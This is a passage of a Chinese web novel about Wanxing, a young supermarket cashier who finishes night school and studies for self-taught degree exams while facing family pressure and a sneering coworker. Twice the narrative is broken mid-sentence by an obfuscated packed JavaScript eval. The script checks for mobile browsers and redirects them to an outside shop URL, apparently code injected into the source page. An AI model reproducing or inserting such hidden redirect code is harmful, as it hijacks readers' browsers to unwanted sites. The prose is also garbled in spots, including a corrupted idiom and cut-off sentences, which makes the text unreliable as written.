离开夜校时,已经快十点了。街上的行人渐渐稀少,初冬的晚风带着刺骨的寒意,吹在脸上有些冰凉。晚星将毕业证书和辅导书紧紧抱在怀里,像守护着珍宝一般,走在暖黄的路灯下,影子被拉得很长很长。她没有立刻赶往公交站,而是找了个路边的长椅坐下,小心翼翼地打开毕业证书,指尖轻轻拂过上面自己的名字,拂过烫金的字迹,嘴角不自觉扬起一抹温柔而释然的笑容。 她想起自己刚进夜校时的窘迫——连最简单的文言文都读不顺溜,数学公式更是忘得一干二净,拿起习题册只能对着题目发呆。是王老师耐心地逐句讲解,一点点帮她梳理知识点,鼓励她“别怕基础弱,慢慢来就会有进步”;是同学们相互陪伴、彼此打气,在她疲惫想放弃的时候,递上一句安慰,分享一份笔记,让她在孤单的求学路上,感受到了温暖与力量。这一年多的时光,虽然辛苦,却也充实而珍贵,让她重新找回了失落已久的自信,找到了人生的方向。 手机突然震动了一下,是张琪发来的微信:“晚星,夜校最后一课结束没呀?毕业证拿到手了吗?跟你说个好消息——我面试成功啦!明天就去服装店上班!”消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233598|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面还附带了一个蹦蹦跳跳的欢呼表情,隔着屏幕都能感受到张琪掩饰不住的喜悦。 晚星看到消息,心里一暖,所有的疲惫都消散了大半,连忙回复:“拿到啦!红本本在我手里呢!恭喜你呀琪琪,太为你开心了!我就知道你一定可以的,你性格开朗又会说话,做导购再合适不过了。”她仿佛能看到张琪欢呼雀跃的模样,自己的心情也变得愈发明朗。闺蜜的顺利上岸,老师的悉心教诲,还有自己手中沉甸甸的毕业证书,都让她觉得,所有的坚持与付出,都有了最好的回报。 张琪很快回复过来:“嘿嘿,多亏了你给我讲的面试技巧,还帮我模拟练习,不然我肯定紧张得说不出话!你也超厉害的,顺利拿到毕业证,接下来就专心备战自考啦!不管遇到什么事,我都陪着你,咱们一起加油,一起变成更好的自己!” “嗯,一起加油!”晚星看着手机屏幕,嘴角的笑容愈发灿烂。有闺蜜的并肩陪伴,有老师的悉心指引,还有自己心中那份不曾熄灭的坚定与执着,她有足够的信心,走好接下来的自考之路。虽然前路注定充满艰辛与坎坷,但她不再迷茫,不再孤单——那些默默支持她的人,那些她付出的每一份努力,都会成为她前行路上最坚实的后盾。 她小心翼翼地将毕业证书收好,放进随身的包里,又轻轻摸了摸包里的辅导书,心里满是滚烫的力量。晚风吹过,带走了周身的疲惫与迷茫,只留下满心的坚定与期许。她站起身,朝着公交站的方向走去,路灯的光芒照亮了她脚下的路,也照亮了她充满希望的未来。 回到出租屋时,已经快十一点了。晚星没有立刻休息,而是将毕业证书拿出来,轻轻放在书桌最显眼的位置,像是在提醒自己,也像是在致敬那些努力的时光。她又翻开王老师给她的辅导书,看着上面密密麻麻的批注,仿佛又看到了王老师在讲台上悉心授课的模样,感受到了那份沉甸甸的期许。她拿出笔记本,认真地写下了详细的自考备考计划,将每天的学习时间、学习内容、复习重点都一一规划清楚,每一笔都藏着坚定的决心。 从前,她总觉得自己的人生被原生家庭牢牢束缚着,只能被动地接受命运的安排,为了家人、为了弟弟而活,唯独没有自己。可现在,她不再这么认为了。夜校的毕业,不是终点,而是一个全新的开始;自考之路,才是她真正为自己打拼、为自己活一次的起点。她要靠自己的努力,拿到本科文凭,找到一份更好的工作,彻底摆脱原生家庭的枷锁,活出自己想要的模样。 她想起王老师说的话:“知识是你最坚实的后盾。”是啊,只有不断提升自己,才能真正掌握自己的人生,才能在原生家庭的牵绊中守住自己的底线,赢得属于自己的尊重与自由。她轻轻抚摸着毕业证书,眼神坚定而澄澈,心中涌动着无限的动力。 夜色渐深,出租屋的灯光依旧明亮。晚星坐在书桌前,翻开自考教材,认真地读了起来。台灯的暖光温柔地落在书页上,也落在她专注而坚定的脸上。她知道,接下来的日子,会更加辛苦,会有无数个挑灯夜读的夜晚,会遇到无数个难以攻克的难题,也可能面临原生家庭的再次施压。但她不再害怕,不再退缩——她已经做好了准备,带着师长的期许、闺蜜的陪伴,以及自己心中那份永不熄灭的执着,蓄力待发,向着自考的目标,勇敢前行。 夜校的课程正式落幕了,但她的成长之路,才刚刚开启。那些在夜校收获的知识、勇气与力量,那些来自师长与闺蜜的温暖与支持,都会化作她前行路上的光,指引着她,在自考攻坚的道路上,步履不停,勇往直前。她坚信,只要心怀热爱、坚持不懈,终会冲破所有阻碍,迎来属于自己的光明与辉煌。 窗外的夜色依旧浓重,但东方的天际,已然泛起了一丝微弱的微光。就像晚星的人生,历经了迷茫与挣扎、委屈与不甘,终于迎来了希望与曙光。她合上教材,轻轻靠在椅背上,脸上带着一丝疲惫,却也盛满了满满的期许。她知道,明天又是新的一天,是她全力以赴备战自考的一天,是她向着梦想稳步前行的一天。 她将王老师的辅导书放在自考教材的旁边,又把毕业证书小心翼翼地收进抽屉的收纳盒里,当作开启自考之路最珍贵的动力。每一次的沉淀,都是为了更好的出发;每一次的坚持,都终将收获累累硕果。晚星的心中,早已埋下了坚定的种子,她相信,只要用心浇灌、奋力生长,终会开花结果,迎来属于自己的精彩人生。 30. 第 30 章 初冬的青南市被暮色彻底包裹时,晚星刚结束超市的晚班。晚间九点的街道,褪去了白日的熙攘喧嚣,只剩零星行人与沿街商铺透出的暖光,在路面铺就细碎的温柔。她裹紧身上洗得柔软的米白色外套,将装着自考资料的帆布包紧紧抱在怀里,脚步平稳地朝出租屋走去——不再是从前那般仓促奔波、只为逃避疲惫的模样,眉眼间多了几分历经沉淀的从容与笃定。 从超市到出租屋的这条路,她已往返近半年。起初,每一步都踩着对未来的迷茫与对生活的妥协,下班的路盛满疲惫,唯一的盼头便是钻进狭小出租屋的角落,暂时隔绝所有压力。可如今再走,晚风虽仍携着初冬的寒意,心底却涌动着滚烫的力量。路灯的光晕在脚下流转,将她的影子时而拉得纤长、时而缩成浅影,像是无声描摹着她这一路从挣扎到坚定的成长轨迹。 出租屋在老旧小区的六层,没有电梯。她沿着墙皮斑驳的楼梯一步步往上走,楼道里的声控灯随脚步亮起,又在身后缓缓沉暗,像一场无声的告别与迎接。推开门的瞬间,一室暖光漫涌而出——出门前特意留了盏小夜灯,这是她给自己的小仪式,是在告诉自己:无论走多远、多疲惫,总有一束光为自己而留。屋里陈设简单却整洁,一张书桌、一张小床、一个简易衣柜,便是全部家当,却比她过往住过的任何地方都更让人心安,因为这是她靠自己撑起的一方小天地。 晚星将帆布包轻放在桌上,顺势坐下,疲惫地往椅背上靠了靠。指尖无意识地拂过桌面,先触到那本鲜红的高中毕业证,烫金的字迹在暖光下泛着温润的微光,触感厚实庄重,每一寸都藏着无数个挑灯夜读的日子。紧接着是王老师送她的自考辅导书,书页泛黄的边缘浸着时光的温度,密密麻麻的批注或红或蓝,像是老师仍在身旁温柔叮嘱。还有她亲手整理的习题册、笔记本,每一页都写满工整的字迹,标注着易错点与重难点,这些都是她这一年多来最珍贵的财富,是她对抗迷茫、挣脱束缚的底气。 她抬手揉了揉酸胀的肩膀,目光缓缓投向窗外。出租屋的窗户正对着青南市的老城区,远处高楼的霓虹与近处街巷的路灯交织缠绕,织成一张温暖的光网,将整座城市温柔笼罩。那些错落有致的灯火里,藏着无数和她一样在这座城市打拼的人:有人为生计疲惫奔波,有人为梦想默默坚守,有人在迷茫中徘徊张望,有人在执着中稳步前行。而她,终于从最初的手足无措、随波逐流,找到了属于自己的方向,锚定了前行的坐标。 思绪不由自主地飘回一年前。那时的她,刚从电子厂狼狈离职,带着一身的疲惫与满心的茫然闯入青南市。没有学历、没有技能,只能靠着体力活谋生,每天在流水线上重复着机械枯燥的动作,日子一眼望到头,看不到半分未来的希望。原生家庭的压力如影随形,父母的催促、弟弟的开销,像一座座小山压得她喘不过气,只能在深夜里对着天花板偷偷掉眼泪,觉得自己的人生或许就该这样被定格——永远被束缚在既定的轨道上,为别人的人生添砖加瓦,唯独没有自己。 “为什么不能为自己活一次?”那时的她,常常在心底反复叩问自己。直到偶然间在街角看到夜校的招生启事,一个尘封多年的念头突然破土而出——她想读书,想靠知识改写命运,想挣脱那种暗无天日、一眼望穿的生活。起初,这个念头让她犹豫再三:她不确定自己能否熬过“工作+学习”的双重疲惫,害怕父母的强烈反对、旁人的不解嘲讽,更担心自己基础太差,连高中课程都难以跟上,所有的努力最终只是徒劳。 可最终,那份对未来的热切渴望,还是战胜了所有顾虑与胆怯。她瞒着父母报了夜校,用第一个月的工资交了学费,从此开启了连轴转的双重生活。每个周一、周三、周五的夜晚,结束一天的收银工作后,她拖着灌了铅似的身躯赶公交、奔夜校,常常忙到深夜才能回到出租屋。简单洗漱后,即便只剩一两个小时,她也会翻开书本刷题、背书,不肯浪费一分一秒的学习时间,把所有碎片化的时光都拼凑成追逐梦想的路上。 那些日子,辛苦是刻在骨子里的。有过因为超市加班赶不上公交,徒步两公里奔赴夜校的狼狈;有过因为一道数学题反复演算无果,熬夜到凌晨仍不肯放弃的焦虑;有过因为父母催要生活费,不得不压缩伙食费,连一本十几块的辅导书都要犹豫许久的窘迫;也有过被压力压得喘不过气,躲在被子里想过放弃的瞬间。可每当这时,王老师那句“慢慢来,你值得更好的”便会在耳畔响起,张琪递来的一杯热奶茶、一句“我陪着你”便会涌上心头,再想起自己对未来的期许,便又咬着牙擦干眼泪,重新拿起书本。 手机的震动声打断了她的思绪,是张琪发来的微信,附带一张穿着崭新工作服的照片,配文:“晚星!我今天第一天上班,感觉超棒!店长和同事都特别友好,虽然忙了一天有点累,但比在电子厂干流水线开心太多啦!”后面还跟着一个蹦蹦跳跳的元气表情,隔着屏幕都能感受到张琪的雀跃。 晚星看着照片里张琪眉眼弯弯、笑容灿烂的模样,嘴角也不自觉扬起温柔的弧度,心底的疲惫瞬间消散了大半。她快速回复:“真好!太为你开心了!你性格开朗又会说话,肯定能很快适应新工作,慢慢来,一切都会越来越好的。” 张琪几乎是秒回:“嘿嘿,借你吉言!对啦,你今天有没有学习呀?有没有遇到难啃的知识点?我下班路过书店,看到一本自考真题集,觉得对你肯定有用,就给你买啦,明天带给你!” 看到这句话,晚星的心里涌上一股暖意,漫过心底的每一个角落。张琪总是这样,把她的目标放在心上,用最朴素的方式默默为她付出。从她决定报夜校时的全力支持,到备考过程中的悉心陪伴;从她受委屈时的耐心倾听,到她疲惫迷茫时的加油鼓劲,这份真挚的闺蜜情,是她在这座陌生城市里最温暖的慰藉,也是她前行路上最坚实的支撑之一。 “不用这么麻烦的,你刚上班也辛苦,还特意为我跑一趟。”晚星回复道,指尖敲下文字时,心里满是沉甸甸的感动。 “一点都不麻烦!”张琪的回复带着不容拒绝的真诚,“咱们可是约定好要一起变好的呀!你专心备考,为自己的未来打拼;我努力赚钱,踏实过日子,以后咱们就在青南市站稳脚跟,一起租个大一点的房子,阳光充足、空间宽敞,再也不用挤这么小的出租屋了。对了,你爸妈没再为难你吧?没再催你放弃自考吧?” 提到父母,晚星的眼神微微一顿,随即又恢复了往日的坚定。上次和父母的争执后,她按时足额寄了生活费,父母虽仍有不满,却也没再强行要求她增加费用,更没再提让她放弃自考的事。或许是父母终于意识到,她不再是那个会无条件妥协、逆来顺受的小姑娘;或许是他们也在心底盼着,这个一直为家里付出的女儿,能真正拥有属于自己的成就。 她回复张琪:“没有啦,我跟他们谈妥了。以后我按约定每月寄生活费,他们也不再反对我自考了。放心吧,我会照顾好自己,也会一直坚持下去,不会半途而废的。” “太好了!”张琪发来一个欢呼的表情,紧接着又是一段文字,“我就知道你可以的!晚星,你真的变了好多,变得更勇敢、更坚定,也更懂得爱自己了。以前你总把别人放在第一位,委屈自己成全所有人,现在终于学会为自己着想,为自己的未来打拼了,我真的为你开心。” 晚星看着手机屏幕上的文字,心里泛起一阵酸涩,却也夹杂着释然与庆幸。是啊,她真的变了。从前的她,习惯了妥协退让,习惯了默默牺牲,把“懂事”“付出”当作自己的标签,却在一次次委屈中弄丢了自己。可经历了这么多挣扎与沉淀,她终于明白:一味的妥协换不来真正的尊重,无底线的付出换不来长久的幸福。唯有靠自己的努力变得强大,才能真正掌握人生的主动权,才能赢得属于自己的尊重与自由,才能活成自己想要的模样。 她放下手机,重新将目光投向窗外。夜色渐浓,青南市的灯火依旧璀璨,那些散落在城市各个角落的微光,不仅照亮了夜空,也照亮了她前行的路。她清醒地知道,未来的路依旧不会一帆风顺:自考的知识点晦涩难懂,备考的过程枯燥漫长;工作的琐碎、生活的压力仍会相伴左右;原生家庭的牵绊也未必会彻底消失,或许某天父母还会因为弟弟的事再次向她施压,生活还会抛出更多意想不到的考验。 但她不再害怕了。从前的她,像一叶无依无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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笔尖在纸上沙沙作响,像是在一笔一画书写着属于她的未来。她的动作沉稳而坚定,眼神澄澈而明亮,没有了从前的迷茫与怯懦,只剩下满满的笃定与期许。桌上的高中毕业证、自考资料,窗外的青南夜色、万家灯火,都在默默为她加油鼓劲,见证着她的蜕变与成长,也预示着她即将开启的逆袭之路。 不知过了多久,她停下笔,轻轻伸了个懒腰。窗外的夜色依旧浓重,但东方的天际已然泛起一丝极淡的微光,像撒在墨色画布上的碎金,预示着黎明即将到来。她合上辅导书,将桌上的资料一一整理整齐,小心翼翼地放进抽屉,与高中毕业证摆在一起。这些承载着努力与期许的物件,是她逆袭之路的珍贵见证,更是她往后前行的不竭动力。 她走到床边坐下,望着屋里柔和的暖光,心里满是平静与满足。这一年多来,她走过了人生中最难熬的时光,熬过了无人理解的孤独,扛过了双重压力的疲惫,也终于收获了最珍贵的成长。她不再是那个被原生家庭裹挟、被生活推着走的小姑娘,而是成为了有目标、有勇气、有底气的自己。青南市的夜色温柔,却也藏着无数机遇与挑战,而她,早已做好了全力以赴的准备。 她知道,第一卷的故事即将落下帷幕,而属于她的逆袭序章,才刚刚拉开序幕。未来的日子里,她会带着师长的期许、闺蜜的陪伴,带着自己的坚定与执着,在自考的道路上奋力拼搏,在青南市这座城市里稳稳扎根。她会用日复一日的努力改写命运,用永不言弃的坚持赢得未来,用自己的方式,活成不被定义、闪闪发光的模样,书写属于自己的人生精彩。 窗外的微光越来越亮,夜色渐渐褪去,黎明的曙光正缓缓洒满大地。晚星躺在床上,轻轻闭上眼睛,脸上带着温柔而坚定的笑容。她知道,明天醒来,又是充满希望的一天,是她全力以赴追逐梦想的一天,是她逆袭之路稳步前行的一天,是她朝着更好的自己奔赴的一天。 青南的夜色终将散去,而她的人生,终将迎来属于自己的万丈曙光。那些默默付出的努力,那些咬牙坚持的时光,那些不为人知的挣扎与沉淀,终将化作她逆袭路上的勋章,照亮她前行的每一步。她会在成长的道路上步履不停、勇往直前,用热爱与坚持,书写属于自己的人生华章。 31. 第 31 章 腊月的青南市被寒意裹得愈发紧实,清晨的薄雾像一层薄纱笼罩着街巷,尚未完全散去。晚星攥着那张印着清晰数字的崭新工资条,伫立在超市员工休息室的窗边,指尖微微用力。这是她入职超市做收银员以来的第一笔工资,扣除社保与预扣的水电费后,到手三千二百块。数额不算丰厚,却是她凭借自己双手挣来的第一份安稳,是她挣脱过往、奔赴逆袭之路的第一笔底气。 指尖反复摩挲着工资条的边缘,纸张的触感清晰可辨,晚星的思绪不由自主飘向远方的家。虽早已和父母谈妥每月寄回生活费的数额,但她心里比谁都清楚,家里的日常开销、弟弟的学费杂费,始终是压在父母心头的重担。犹豫不过片刻,她便下定决心,从中抽出两千五百块——几乎是工资的八成,只留七百块作为自己接下来一个月的生活费,还要兼顾自考资料的备用开支。 “晚星,发工资啦?这月能歇几天啊?”同组的收银员李娟端着一杯冒着热气的水杯走进来,眼神飞快扫过晚星手中的工资条,语气里藏着显而易见的打探。李娟比晚星早来超市半年,性子刻薄挑剔,总爱嚼舌根调侃身边人,平日里见晚星一到下班就抱着书本不肯撒手,早已憋着几分不满,总想找机会讥讽几句。 晚星不动声色地将工资条对折,塞进外套内兜,淡淡点头回应:“嗯,刚发。打算今天下午请假去趟市区书店。”她不愿与李娟过多纠缠,转身便要往财务室走,准备办理转账,手腕却被李娟伸手拦了下来。 “去书店?又去买那些没用的闲书啊?”李娟嗤笑一声,眼神自上而下扫过晚星一身洗得发白的衣服,语气里的嘲讽毫不掩饰,“我说晚星,不是我泼你冷水,咱们这种没背景、没学历的普通人,这辈子也就这样了。安安分分在超市收银,每个月挣点踏实钱养家糊口,不好吗?偏要瞎折腾,既浪费时间,还白花冤枉钱。” 晚星的脚步顿住,心底泛起一阵不易察觉的不悦,却还是压着情绪,语气平静地回应:“每个人的追求不一样,我想多学点东西,不算错。”她微微侧身,绕开李娟的阻拦,快步走出休息室,身后随即传来李娟不屑的嘀咕声:“学再多又能怎么样?还不是个站柜台的收银员,简直是1复下体力想吃天鹅肉,自不量力。” 那句嘲讽像一根细小的钢针,轻轻扎在心上,却并未动摇晚星半分决心。这些年,她早已习惯了这般不解与轻视,原生家庭的束缚、旁人的冷言冷语,都曾是压在她肩头的重担,如今反倒成了她奋力向前的动力。手机震动,转账成功的提示短信弹出,晚星轻轻舒了口气,既了却了对家里的牵挂,也能毫无牵绊地奔赴自己的目标。 向组长请假时,组长虽有几分犹豫,毕竟超市晚班本就人手紧张,但念及晚星平日里工作勤勤恳恳、认真负责,从未无故缺勤或出错,最终还是松了口。下午一点,晚星换上自己最整洁的米白色外套,背着洗得泛白的帆布包,踏上了前往市区书店的公交车。从老城区到市区要转三趟车,单程耗时一个半小时,寒风顺着车窗缝隙灌进来,却吹不散她心底的期待,连周遭的景致都变得温柔起来。 市区的新华书店坐落于繁华商圈,三层楼高的建筑被各类书籍填满,推开玻璃门的瞬间,浓郁的油墨清香扑面而来,瞬间抚平了晚星一路奔波的疲惫与紧张。这是她第一次走进这么大的书店,望着书架上密密麻麻、分门别类的书籍,她一时有些手足无措,下意识地攥紧了口袋里仅存的钱,脚步匆匆走向咨询台。 “您好,麻烦问一下,自考汉语言文学专业的教材和真题,在哪个区域?”晚星的声音带着一丝不易察觉的紧张,咨询台的工作人员是位温和的大姐,闻言笑着抬手指向二楼:“二楼左转的自考专区,汉语言文学的教材在第三排书架,真题集和练习册就在旁边的展台上,都是最新版的。” 晚星连忙道谢,脚步轻快地冲上二楼。自考专区的人不算多,大多是和她一样埋头寻觅书籍的年轻人,每个人的脸上都带着专注与对未来的期许,沉默却充满力量。她循着指引找到第三排书架,一眼就看到了标注着“汉语言文学专业”的教材,《现代汉语》《古代汉语》《文学概论》……一本本厚重的书籍整齐排列,封面上的文字仿佛带着无形的引力,让她小心翼翼地伸出手去触碰。 她将教材一本本轻轻抽出,抱在怀里,生怕碰折了书角,又快步走到展台前挑选真题集。指尖拂过一本本封皮崭新的真题,晚星的心底既忐忑又坚定。忐忑的是,这些书籍厚重晦涩,以她的基础,不知道要花费多少力气才能啃透;坚定的是,这是她亲手为自己选择的路,无论前路多艰难,都要一步一个脚印走下去。她仔细对照着考试大纲,挑选了最新版的真题集和同步练习册,抱着一摞沉甸甸的书,走向收银台。 结账时,收银员报出的价格让晚星微微一怔——教材和真题加起来,一共两百三十八块。她下意识地摸了摸口袋里的钱,指尖微微蜷缩,犹豫了几秒,还是咬牙掏出钱付了款。这几乎是她自留生活费的三分之一,也就意味着,接下来的日子里,她要把开支压缩到极致,每餐只能啃馒头、就咸菜,才能勉强维持生计。可当她抱着沉甸甸的书本走出书店,指尖触到书页的温度时,心底却满是踏实与笃定,仿佛抱着的不是书籍,而是触手可及的未来。 返程的公交车上,晚星将书本紧紧抱在怀里,护在身前,生怕拥挤的人群把书挤坏。阳光透过车窗,温柔地洒在书本上,也落在她的脸上,驱散了些许寒意。她低头看着怀里的《现代汉语》,指尖轻轻拂过封面,脑海里开始默默盘算接下来的学习计划。超市两班倒的工作时间本就不固定,早班、晚班轮流切换,能自由支配的时间少之又少,必须精打细算,才能兼顾好工作与学习。 回到出租屋时,已是傍晚六点,窗外的天色渐渐沉暗。晚星将书本轻轻放在书桌上,来不及卸下一身疲惫,便开始收拾屋子。她特意找出一个干净的帆布包,专门用来装每日要带的自考资料,又将厚重的教材一一摆放在书桌一角,与高中毕业证、王老师送的辅导书整齐排在一起。望着这一摞承载着梦想与希望的书籍,她的嘴角不自觉扬起一抹温柔而坚定的笑容。 手机突然震动起来,是张琪发来的微信:“晚星!我下班啦!刚发了试用期工资,今晚请你吃顿好的,咱们好好庆祝一下,也算开启咱们的新生活!”消息后面还跟着一个蹦蹦跳跳的元气表情,隔着屏幕都能感受到张琪的雀跃。 晚星看着消息,心底瞬间涌上一股暖意,指尖飞快回复:“好呀!我刚从市区回来,买了自考的教材,正想找你商量学习计划呢,刚好一起说。” 半小时后,敲门声响起,晚星打开门,就看到张琪提着满满两大袋打包好的饭菜,笑容灿烂地站在门口。一进门,张琪的目光就被书桌上的自考教材吸引,眼睛一亮,快步走过去翻看:“哇,这么多书!这就是你要考的汉语言文学教材吗?看着也太厚了吧,能啃得下来吗?” “嗯,汉语言文学专业。”晚星一边接过饭菜,摆上碗筷,一边笑着说道,“今天发了工资,先寄了大半回家,剩下的钱买了这些书,接下来的日子就得省着点过了。” 张琪闻言,脸上的笑容瞬间淡了几分,语气里满是心疼:“你又寄了那么多回去啊?自己就留这么点,还要买资料、吃饭,哪里够花?要不我先借你点,你别委屈自己。”说着,就伸手要掏手机转账。 晚星连忙按住她的手,轻轻摇摇头:“不用啦,真的够花。省着点用就行,等以后熟悉了工作,工资涨了就好了。对了,我想跟你商量下学习计划,超市是两班倒,时间不固定,我想制定一个能兼顾工作和学习的方案,你帮我参考参考。” 张琪点点头,不再坚持,夹了一块红烧肉放进晚星碗里,柔声说道:“好,你说说你的想法。你早班、晚班具体是怎么排的?咱们根据时间来规划,别太累着自己。” “早班是早上八点到下午四点,晚班是下午四点到晚上十二点,两班轮流倒。”晚星一边吃饭,一边细细说道,“我想好了,上早班的话,下午下班回来先休息一小时,恢复下体力,然后学习两个小时,晚上十点准时睡觉,早上提前半小时起床背书;上晚班的话,早上就多睡会儿,养足精神,利用中午休息的时间背知识点,晚上下班回来哪怕再累,也要坚持刷题一小时;周末不上班,就全天啃教材、做真题,遇到不懂的问题就记在笔记本上,找时间请教王老师。” 听完晚星的计划,张琪忍不住为她点赞,语气里却满是担忧:“这个计划太详细了,你也太拼了吧!不过你可得悠着点,别为了学习熬坏了身子。晚班下班都十二点了,回来还要刷题,身体根本吃不消的。” 晚星笑了笑,眼神澄澈而坚定,夹起碗里的菜慢慢咀嚼:“累肯定是累的,但我不怕。这是我唯一能改变自己命运的机会,我必须牢牢抓住。以前我总被生活推着走,为了家里、为了别人妥协,现在我想为自己活一次,再辛苦也值得。” “我支持你!”张琪紧紧握住晚星的手,语气真挚而坚定,“以后我下班早,就来陪你学习,给你带点热乎饭,别总啃馒头咸菜。你遇到不懂的问题也可以跟我说,虽然我帮不上太多忙,但可以陪你一起查资料、一起琢磨。对了,我听说今天李娟又嘲讽你了?她是不是又说闲话了?” 提到李娟,晚星的眼神微微一冷,随即又恢复了平静,语气淡然地说道:“她说了几句,让我别瞎折腾,还说我1复下体力想吃天鹅肉。我没理她,嘴长在她身上,她想说就让她说吧,我只要做好自己的事,朝着目标往前走就行。” “她就是嫉妒你!”张琪愤愤不平地说道,“自己安于现状,不想努力,还见不得别人往上走。你别往心里去,等你考上自考本科,找到更好的工作,彻底离开超市,到时候看她还怎么嘲讽你!” 晚星点点头,心底涌起一股暖流。有张琪这样始终站在自己身边的闺蜜,再大的困难似乎都变得微不足道。吃完饭,张琪主动帮晚星整理教材,凭着自己以前看书的经验,帮她把每本书的知识点框架简单梳理出来,又将每日要背的内容抄在小纸条上,叠得整整齐齐,方便她利用碎片化时间背诵。 送走张琪时,已是晚上九点。晚星没有立刻休息,而是按照制定的计 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不知不觉间,时针就指向了晚上十一点。晚星合上书本,缓缓伸了个懒腰,肩膀和脖子传来阵阵酸痛,抬手揉了揉,却丝毫不见疲惫,看着笔记本上密密麻麻的笔记,心底满是成就感。虽然只学习了两个小时,却掌握了不少基础知识点,这份收获让她更加坚定了备考的决心。 她将教材和笔记本小心翼翼地放进枕头下,这是她特意选的地方——既能妥善保护书籍,不被灰尘弄脏、不被意外碰坏,又能让她每天睡前和醒来都能触到,时刻提醒自己不要忘记初心与目标。躺在床上,晚星闭上眼睛,脑海里一遍遍回顾着今天学到的知识点,嘴角带着满足的笑容,渐渐进入了梦乡。 接下来的日子里,晚星严格按照制定的计划执行,正式开启了边工边学的碎片化备考生活。上早班时,她会把抄有知识点的小纸条塞进工作服口袋,趁着顾客不多的收银间隙、午休的短暂时光,快速掏出来背诵;上晚班时,她会提前半小时到超市,在空无一人的员工休息室里背书,晚上下班回来,哪怕累得眼皮都睁不开,洗把脸清醒一下,也要坐在书桌前刷题一小时,绝不敷衍。 李娟看着晚星这股埋头学习的劲头,非但没有收敛,反而时不时就冷嘲热讽几句,有时还会故意找些麻烦,耽误她的休息时间。有一次,晚星趁着午休,坐在休息室的角落背书,李娟故意拉着同事坐在旁边,放大音量聊天说笑,还时不时凑过去打断她:“晚星,别背了,再背也成不了大学生,白费力气,不如过来聊聊天放松放松。” 晚星没有理会她,只是默默拿起书本和纸条,走到超市门口避风的角落,继续背诵。冬日的寒风刮在脸上,像刀子割一样疼,她却浑然不觉,只顾着默念知识点。李娟见状,撇了撇嘴,对着身边的同事不屑地说道:“你看她那股较真劲儿,真是无可救药,纯属自讨苦吃。”同事们大多沉默不语,有人暗自同情晚星的不易,有人觉得她过于固执,却没人愿意多管闲事,免得惹祸上身。 面对李娟的刻意刁难与冷嘲热讽,晚星始终不为所动。她心里清楚,与其浪费时间和李娟争执辩解,不如把所有精力都放在学习上,用实际行动证明自己不是“自不量力”。她把所有的委屈、疲惫都悄悄藏在心里,转化为源源不断的学习动力,在无人问津的角落里默默努力,在碎片化的时光里一点点积累力量,等待厚积薄发的时刻。 腊月的夜晚格外寒冷,晚星租住的老旧出租屋没有暖气,只有一台功率不大的小太阳,根本抵挡不住刺骨的寒意。她裹着厚厚的外套,缩在书桌前学习,手脚冻得冰凉,就时不时搓搓手、跺跺脚,暖暖身子后继续刷题;眼睛累得酸涩发红,就揉一揉眼睛,滴上几滴廉价的眼药水,坚持看完最后一个知识点。枕头下的教材被她翻得越来越旧,书角渐渐卷起,笔记本上的笔记也越来越厚,那些密密麻麻的字迹,都是她努力的见证,是她追逐梦想的痕迹。 有天晚上,晚星上完晚班回来,累得几乎虚脱,连走路都有些发飘。简单洗漱后,她一头倒在床上,望着枕头下微微凸起的教材轮廓,心底突然涌起一股复杂的情绪。思念、委屈、坚定、期许……种种情绪交织在一起,让她瞬间红了眼眶。她想起了远方的家,想起了父母的期盼,想起了张琪不离不弃的陪伴,想起了王老师的悉心教诲,也想起了李娟刻薄的嘲讽。 她伸手从枕头下拿出教材,指尖轻轻抚摸着卷起的书角,心里默默给自己打气:晚星,不能放弃。你已经走了这么远的路,熬过了这么多艰难的时光,不能在这一刻退缩。自考的路虽然难走,布满荆棘,但只要你一步一个脚印,脚踏实地,不辜负每一分每一秒,终会迎来属于自己的微光,照亮前行的路。 窗外的夜色依旧浓重,青南市的灯火在寒风中闪烁,像散落人间的星辰。晚星将教材紧紧抱在怀里,贴在胸口,眼神坚定而澄澈。她清楚地知道,边工边学的日子还会持续很久,未来还会遇到更多的困难与挑战——李娟的嘲讽或许还会继续,学习的压力会越来越大,生活的窘迫也难以立刻改变。但她不再害怕,不再迷茫,因为她心中有清晰的目标,身边有温暖的陪伴,那些默默付出的努力,那些咬牙坚持的时光,终将化作照亮前路的微光,指引着她在自考的道路上稳步前行,向着更好的自己,勇敢奔赴而去。 32. 第 32 章 腊月的寒风愈发凛冽,像无形的刀刃刮过老旧小区的街巷,吹得窗户缝隙发出呜呜的声响,扰得夜更显寂静。凌晨一点,晚星轻手轻脚地从床上坐起,借着窗帘缝隙漏进的微弱路灯光,摸索着从枕头下掏出手机和习题册。同宿舍的另外三名工友早已酣然入睡,均匀的鼾声在狭小逼仄的空间里此起彼伏,她特意将手机亮度调到最低,几乎只剩一抹微光,而后裹紧薄被缩在床角,指尖在屏幕上轻轻滑动,借着那点仅够视物的光,沉心刷题。 自从开启自考备考之路,这样的深夜时光便成了晚星的常态。超市两班倒的工作本就耗人精力,晚班上到午夜十二点,回到宿舍洗漱完毕已是凌晨一点,为了不耽误学习进度,她只能硬生生压缩睡眠时间,每天只留五个多小时给睡眠,挤出近两小时的完整时间刷题。习题册早已被翻得边角发脆,上面用红、蓝、黑三种颜色的笔密密麻麻标注着重难点与易错点,手机屏幕的冷光映在她脸上,眼底的红血丝像细密的蛛网蔓延开来,却丝毫掩盖不住眼神里那份不肯认输的执着。 